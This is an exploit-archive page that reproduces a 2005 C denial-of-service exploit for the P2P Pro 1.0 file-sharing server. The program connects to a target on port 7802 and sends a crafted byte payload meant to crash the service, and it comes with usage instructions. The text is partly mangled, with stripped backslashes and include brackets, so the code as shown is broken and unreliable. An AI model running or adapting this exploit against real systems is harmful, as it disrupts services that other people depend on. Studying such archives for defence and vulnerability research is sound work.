[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : P2P Pro 1.0 (command) Denial of Service Exploit
# Published : 2005-09-02
# Author : basher13
# Previous Title : CUPS Server <= 1.1 (Get Request) Denial of Service Exploit
# Next Title : Ventrilo <= 2.3.0 Remote Denial of Service Exploit (all platforms)


/*
     P2P Pro Command DOS Exploit
 ------------------------------------
  Infam0us Gr0up - Securiti Research

 Info: infamous.2hell.com
 Vendor URL: http://www.digital-revolution.org/P2PPro.html

*/

#include string.h
#include winsock2.h 
#include stdio.h 

#pragma comment(lib, "ws2_32.lib") 

char doscore[] = 
"x3fx3fxbcx59x70 "
"x32x70x3fxe1 "
"x2bx5cx3fxa6xebxa6"
"x50x46x2bx5cx3fxa6xebxa6"
"x50x4fx57x4ex45x44x2ex74"
"x78x74x2bx5cx3fxa6xebxa6"
"x50x31x32x33x32x34x32x2ex6bx62";


int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *target; 
int port,bufsize; 
SOCKET inetdos; 

if (argc < 2) 
{ 
printf("        P2P Pro Command DOS Exploit n", argv[0]);
printf("  --------------------------------------n", argv[0]);
printf("    Infam0us Gr0up - Securiti Researchnn", argv[0]);
printf("[-]Usage: %s [target] [port]n", argv[0]); 
printf("[?]Exam: %s localhost 7802n", argv[0]); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

target = argv[1]; 
port = 7802; 

if (argc >= 3) port = atoi(argv[2]); 
bufsize = 1024; 
if (argc >= 4) bufsize = atoi(argv[3]); 

inetdos = socket(AF_INET, SOCK_STREAM, 0); 
if(inetdos==INVALID_SOCKET) 
{ 
printf("Socket ERROR n"); 
exit(1); 
} 
printf("    P2P Pro Command DOS Exploit n", argv[0]);
printf("  --------------------------------------rnn", argv[0]);
printf("Resolve host... "); 
if ((pTarget = gethostbyname(target)) == NULL) 
{ 
printf("FAILED n", argv[0]); 
exit(1); 
} 
printf("[OK]n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("[+] Connecting... "); 
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("FAILEDn"); 
exit(1); 
} 
printf("[OK]n");
printf("Target listen.. n"); 
printf("Sending bad procedure... "); 
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1) 
{ 
printf("ERRORn"); 
closesocket(inetdos); 
exit(1); 
} 
printf("[OK]n ");
printf("[+] Server SHUTDOWNED!n"); 
closesocket(inetdos); 
WSACleanup(); 
return 0; 
}

// www.Syue.com [2005-09-02]